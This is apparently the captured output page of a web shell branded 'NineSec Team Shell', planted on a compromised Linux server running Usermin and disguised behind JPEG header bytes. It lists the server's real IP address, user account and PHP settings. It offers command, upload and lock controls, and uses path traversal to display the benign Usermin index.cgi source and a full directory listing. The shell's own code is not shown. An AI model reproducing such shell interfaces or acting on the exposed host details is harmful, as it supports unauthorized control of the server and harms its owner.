�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /media/../usr/share/javascript/../doc/nodejs/../python3/../python3/../../php/../usermin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../usr/share/javascript/../doc/nodejs/../python3/../python3/../../php/../usermin/index.cgi
#!/usr/bin/perl

require './web-lib.pl';
&init_config();
&ReadParse();
$hostname = &get_display_hostname();
$ver = &get_webmin_version();
&get_miniserv_config(\%miniserv);
if ($gconfig{'real_os_type'}) {
	$ostr = "$gconfig{'real_os_type'} $gconfig{'real_os_version'}";
	}
else {
	$ostr = "$gconfig{'os_type'} $gconfig{'os_version'}";
	}

# Build a list of all modules
@modules = &get_available_module_infos(1);
if (!defined($in{'cat'})) {
        # Maybe redirect to some module after login
        local $goto = &get_goto_module(\@modules);
        if ($goto) {
                &redirect($goto->{'dir'}.'/');
                exit;
                }
        }

$gconfig{'sysinfo'} = 0 if ($gconfig{'sysinfo'} == 1);
if ($gconfig{'texttitles'}) {
	@args = ( $text{'main_title2'}, undef );
	}
else {
	@args = ( $gconfig{'nohostname'} ? $text{'main_title2'} :
		    &text('main_title', $ver, $hostname, $ostr),
		  "images/usermin.gif" );
	}
&header(@args, undef, undef, 1, 1,
	$tconfig{'brand'} ? 
	"<a href=$tconfig{'brand_url'}>$tconfig{'brand'}</a>" :
	$gconfig{'brand'} ? 
	"<a href=$gconfig{'brand_url'}>$gconfig{'brand'}</a>" :
	"<a href=http://www.usermin.com/>$text{'main_homepage'}</a>".
	($gconfig{'feedback'} ? "<br><a href=feedback_form.cgi>$text{'main_feedback'}</a>" : "")
	);
print "<center><font size=+1>",
	    &text('main_version', $ver, $hostname, $ostr),"</font></center>\n"
		if (!$gconfig{'nohostname'});
print "<hr><p>\n";
print $text{'main_header'};

if (!@modules) {
	# use has no modules!
	print "<p><b>$text{'main_none'}</b><p>\n";
	}
elsif ($gconfig{"notabs_${base_remote_user}"} == 2 ||
    $gconfig{"notabs_${base_remote_user}"} == 0 && $gconfig{'notabs'}) {
	# Generate main menu with all modules on one page
	print "<center><table cellpadding=5>\n";
	$pos = 0;
	$cols = $gconfig{'nocols'} ? $gconfig{'nocols'} : 4;
	$per = 100.0 / $cols;
	foreach $m (@modules) {
		if ($pos % $cols == 0) { print "<tr>\n"; }
		print "<td valign=top align=center width=$per\%>\n";
		local $idx = $m->{'index_link'};
		my $alink = "$gconfig{'webprefix'}/@{[&urlize($m->{'dir'})]}/$idx";
		print "<table border><tr><td><a href='$alink'>",
		      "<img src=$m->{'dir'}/images/icon.gif border=0 ",
		      "width=48 height=48></a></td></tr></table>\n";
		print "<a href='$alink'>@{[&html_escape($m->{'desc'})]}</a></td>\n";
		if ($pos % $cols == $cols - 1) { print "</tr>\n"; }
		$pos++;
		}
	print "</table></center><p><hr>\n";
	}
else {
	# Display under categorised tabs
	&read_file("$config_directory/webmin.catnames", \%catnames);
	foreach $m (@modules) {
		$c = $m->{'category'};
		next if ($cats{$c});
		if (defined($catnames{$c})) {
			$cats{$c} = $catnames{$c};
			}
		elsif ($text{"category_$c"}) {
			$cats{$c} = $text{"category_$c"};
			}
		else {
			# try to get category name from module ..
			local %mtext = &load_language($m->{'dir'});
			if ($mtext{"category_$c"}) {
				$cats{$c} = $mtext{"category_$c"};
				}
			else {
				$c = $m->{'category'} = "";
				$cats{$c} = $text{"category_$c"};
				}
			}
		}
	@cats = sort { $b cmp $a } keys %cats;
	$cats = @cats;
	$per = $cats ? 100.0 / $cats : 100;
	if (!defined($in{'cat'})) {
		# Use default category
		if (defined($gconfig{'deftab'}) &&
		    &indexof($gconfig{'deftab'}, @cats) >= 0) {
			$in{'cat'} = $gconfig{'deftab'};
			}
		else {
			$in{'cat'} = $cats[0];
			}
		}
	elsif (!$cats{$in{'cat'}}) {
		$in{'cat'} = "";
		}
	print "<table border=0 cellpadding=0 cellspacing=0 height=20><tr>\n";
	$usercol = defined($gconfig{'cs_header'}) ||
		   defined($gconfig{'cs_table'}) ||
		   defined($gconfig{'cs_page'});
	foreach $c (@cats) {
		$t = $cats{$c};
		if ($in{'cat'} eq $c) {
			print "<td valign=top $cb>", $usercol ? "<br>" :
			  "<img src=images/lc2.gif alt=\"\">","</td>\n";
			print "<td $cb>&nbsp;<b>$t</b>&nbsp;</td>\n";
			print "<td valign=top $cb>", $usercol ? "<br>" :
			  "<img src=images/rc2.gif alt=\"\">","</td>\n";
			}
		else {
			print "<td valign=top $tb>", $usercol ? "<br>" :
			  "<img src=images/lc1.gif alt=\"\">","</td>\n";
			print "<td $tb>&nbsp;",
			      "<a href=$gconfig{'webprefix'}/?cat=@{[&urlize($c)]}><b>@{[&html_escape($t)]}</b></a>&nbsp;</td>\n";
			print "<td valign=top $tb>", $usercol ? "<br>" :
			  "<img src=images/rc1.gif alt=\"\">","</td>\n";
			}
		print "<td width=10></td>\n";
		}
	print "</tr></table> <table border=0 cellpadding=0 cellspacing=0 ",
              "width=100% $cb>\n";
	print "<tr><td><table width=100% cellpadding=5>\n";

	# Display the modules in this category
	$pos = 0;
	$cols = $gconfig{'nocols'} ? $gconfig{'nocols'} : 4;
	$per = 100.0 / $cols;
	foreach $m (@modules) {
		next if ($m->{'category'} ne $in{'cat'});

		if ($pos % $cols == 0) { print "<tr>\n"; }
		print "<td valign=top align=center width=$per\%>\n";
		my $mlink = "$gconfig{'webprefix'}/@{[&urlize($m->{'dir'})]}/";
		print "<table border bgcolor=#ffffff><tr><td><a href='$mlink'>",
		      "<img src=$m->{'dir'}/images/icon.gif alt=\"\" border=0></a>",
		      "</td></tr></table>\n";
		print "<a href='$mlink'>@{[&html_escape($m->{'desc'})]}</a></td>\n";
		if ($pos++ % $cols == $cols - 1) { print "</tr>\n"; }
		}
	while($pos++ % $cols) {
		print "<td width=$per\%></td>\n";
		}
	print "</table></td></tr></table><p><hr>\n";
	}

if ($miniserv{'logout'} && !$gconfig{'alt_startpage'} &&
    !$ENV{'SSL_USER'} && !$ENV{'LOCAL_USER'} &&
    $ENV{'HTTP_USER_AGENT'} !~ /webmin/i) {
	print "<table width=100% cellpadding=0 cellspacing=0><tr>\n";
	if ($main::session_id) {
		print "<td align=right><a href='session_login.cgi?logout=1'>",
		      "$text{'main_logout'}</a></td>\n";
		}
	else {
		print "<td align=right><a href=switch_user.cgi>",
		      "$text{'main_switch'}</a></td>\n";
		}
	print "</tr></table>\n";
	}
print $text{'main_footer'};
&footer();


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
at
--
December 13 2023 9:43:40
root
0755
authentic-theme
--
December 13 2023 9:45:51
root
0755
blue-theme
--
December 13 2023 9:43:41
root
0755
changepass
--
December 13 2023 9:43:41
root
0755
chfn
--
December 13 2023 9:43:41
root
0755
commands
--
December 13 2023 9:43:41
root
0755
cron
--
December 13 2023 9:43:41
root
0755
cshrc
--
December 13 2023 9:43:41
root
0755
fetchmail
--
December 13 2023 9:43:41
root
0755
filemin
--
December 13 2023 9:43:41
root
0755
filter
--
December 13 2023 9:43:41
root
0755
forward
--
December 13 2023 9:43:41
root
0755
gnupg
--
December 13 2023 9:43:41
root
0755
gray-theme
--
December 13 2023 9:43:41
root
0755
htaccess
--
December 13 2023 9:43:41
root
0755
htaccess-htpasswd
--
December 13 2023 9:43:41
root
0755
images
--
December 13 2023 9:43:41
root
0755
lang
--
December 13 2023 9:43:41
root
0755
language
--
December 13 2023 9:43:41
root
0755
mailbox
--
December 13 2023 9:43:41
root
0755
mailcap
--
December 13 2023 9:43:41
root
0755
man
--
December 13 2023 9:43:41
root
0755
mysql
--
December 13 2023 9:43:41
root
0755
plan
--
December 13 2023 9:43:41
root
0755
postgresql
--
December 13 2023 9:43:41
root
0755
proc
--
December 13 2023 9:43:41
root
0755
procmail
--
December 13 2023 9:43:41
root
0755
quota
--
December 13 2023 9:43:40
root
0755
schedule
--
December 13 2023 9:43:41
root
0755
shell
--
December 13 2023 9:43:41
root
0755
spam
--
December 13 2023 9:43:40
root
0755
ssh
--
December 13 2023 9:43:41
root
0755
telnet
--
December 13 2023 9:43:41
root
0755
theme
--
December 13 2023 9:43:41
root
0755
tunnel
--
December 13 2023 9:43:41
root
0755
twofactor
--
December 13 2023 9:43:41
root
0755
ulang
--
December 13 2023 9:43:41
root
0755
unauthenticated
--
December 13 2023 9:43:41
root
0755
updown
--
December 13 2023 9:43:41
root
0755
usermount
--
December 13 2023 9:43:41
root
0755
vendor_perl
--
December 13 2023 9:43:41
root
0755
xterm
--
December 13 2023 9:43:41
root
0755
LICENCE
1.48 KB
November 08 2023 8:55:12
root
0644
LICENCE.ja
1.615 KB
November 08 2023 8:55:12
root
0644
README
1.926 KB
November 08 2023 8:55:12
root
0644
WebminCore.pm
8.115 KB
November 08 2023 8:55:12
root
0644
acl_security.pl
2.89 KB
November 08 2023 8:55:12
root
0755
chooser.cgi
7.214 KB
November 08 2023 8:55:28
root
0755
config-aix
0.222 KB
November 08 2023 8:55:12
root
0644
config-cobalt-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-coherent-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-corel-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-debian-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-freebsd
0.25 KB
November 08 2023 8:55:12
root
0644
config-generic-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-gentoo-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-hpux
0.237 KB
November 08 2023 8:55:12
root
0644
config-irix
0.277 KB
November 08 2023 8:55:12
root
0644
config-lib.pl
10.818 KB
November 08 2023 8:55:12
root
0755
config-macos
0.254 KB
November 08 2023 8:55:12
root
0644
config-mandrake-linux
0.271 KB
November 08 2023 8:55:12
root
0644
config-msc-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-netbsd
0.276 KB
November 08 2023 8:55:12
root
0644
config-open-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-openbsd
0.235 KB
November 08 2023 8:55:12
root
0644
config-openmamba-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-openserver
0.23 KB
November 08 2023 8:55:12
root
0644
config-osf1
0.26 KB
November 08 2023 8:55:12
root
0644
config-redhat-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-slackware-linux
0.273 KB
November 08 2023 8:55:12
root
0644
config-sol-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-solaris
0.407 KB
November 08 2023 8:55:12
root
0644
config-suse-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-trustix-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-turbo-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-united-linux
0.258 KB
November 08 2023 8:55:12
root
0644
config-unixware
0.279 KB
November 08 2023 8:55:12
root
0644
copyconfig.pl
4.332 KB
November 08 2023 8:55:28
root
0755
date_chooser.cgi
2.188 KB
November 08 2023 8:55:28
root
0755
deb-name
0.008 KB
November 08 2023 8:55:28
root
0644
defaultacl
0.096 KB
November 08 2023 8:55:12
root
0644
defaulttheme
0.016 KB
November 08 2023 8:55:12
root
0644
entities_map.txt
1.466 KB
November 08 2023 8:55:12
root
0644
favicon.ico
14.732 KB
November 08 2023 8:55:12
root
0644
feedback.cgi
6.366 KB
November 08 2023 8:55:28
root
0755
feedback_form.cgi
3.45 KB
November 08 2023 8:55:28
root
0755
group_chooser.cgi
7.51 KB
November 08 2023 8:55:28
root
0755
help.cgi
2.114 KB
November 08 2023 8:55:28
root
0755
html-editor-lib.pl
17.434 KB
November 08 2023 8:55:12
root
0644
index.cgi
5.646 KB
November 08 2023 8:55:28
root
0755
install-module.pl
1.273 KB
November 08 2023 8:55:28
root
0755
install-type
0.004 KB
November 08 2023 8:55:28
root
0644
javascript-lib.pl
14.689 KB
November 08 2023 8:55:12
root
0755
lang_list.txt
3.405 KB
November 08 2023 8:55:12
root
0644
maketemp.pl
0.414 KB
November 08 2023 8:55:12
root
0755
mime.types
12.418 KB
November 08 2023 8:55:12
root
0644
miniserv.pem
2.899 KB
November 08 2023 8:55:12
root
0644
miniserv.pl
181.17 KB
November 08 2023 8:55:28
root
0755
newmods.pl
1.25 KB
November 08 2023 8:55:12
root
0755
os_list.txt
34.343 KB
November 08 2023 8:55:12
root
0644
oschooser.pl
4.546 KB
November 08 2023 8:55:28
root
0755
pam_login.cgi
2.834 KB
November 08 2023 8:55:28
root
0755
password_change.cgi
7.005 KB
November 08 2023 8:55:28
root
0755
password_form.cgi
1.296 KB
November 08 2023 8:55:28
root
0755
perlpath.pl
0.558 KB
November 08 2023 8:55:28
root
0755
robots.txt
0.025 KB
November 08 2023 8:55:12
root
0644
session_login.cgi
3.546 KB
November 08 2023 8:55:28
root
0755
setup.sh
26.178 KB
November 08 2023 8:55:12
root
0755
switch_user.cgi
0.395 KB
November 08 2023 8:55:28
root
0755
thirdparty.pl
1.732 KB
November 08 2023 8:55:12
root
0755
uconfig.cgi
1.395 KB
November 08 2023 8:55:28
root
0755
uconfig_save.cgi
1.455 KB
November 08 2023 8:55:28
root
0755
ui-lib.pl
97.904 KB
November 08 2023 8:55:12
root
0755
update-from-repo.sh
14.8 KB
November 08 2023 8:55:12
root
0755
updateboot.pl
1.893 KB
November 08 2023 8:55:28
root
0755
uptracker.cgi
2.879 KB
November 08 2023 8:55:28
root
0755
user_chooser.cgi
7.394 KB
November 08 2023 8:55:28
root
0755
usermin-init
1.882 KB
November 08 2023 8:55:12
root
0755
usermin-pam
0.099 KB
November 08 2023 8:55:12
root
0644
usermin-pam-osx
0.237 KB
November 08 2023 8:55:12
root
0644
usermin-systemd
0.433 KB
November 08 2023 8:55:12
root
0644
version
0.006 KB
November 08 2023 8:55:12
root
0644
web-lib-funcs.pl
371.256 KB
November 08 2023 8:55:12
root
0755
web-lib.pl
1.081 KB
November 08 2023 8:55:12
root
0755
webmin-search-lib.pl
9.454 KB
November 08 2023 8:55:12
root
0755
webmin_search.cgi
2.634 KB
November 08 2023 8:55:28
root
0755

NineSec Team - 2022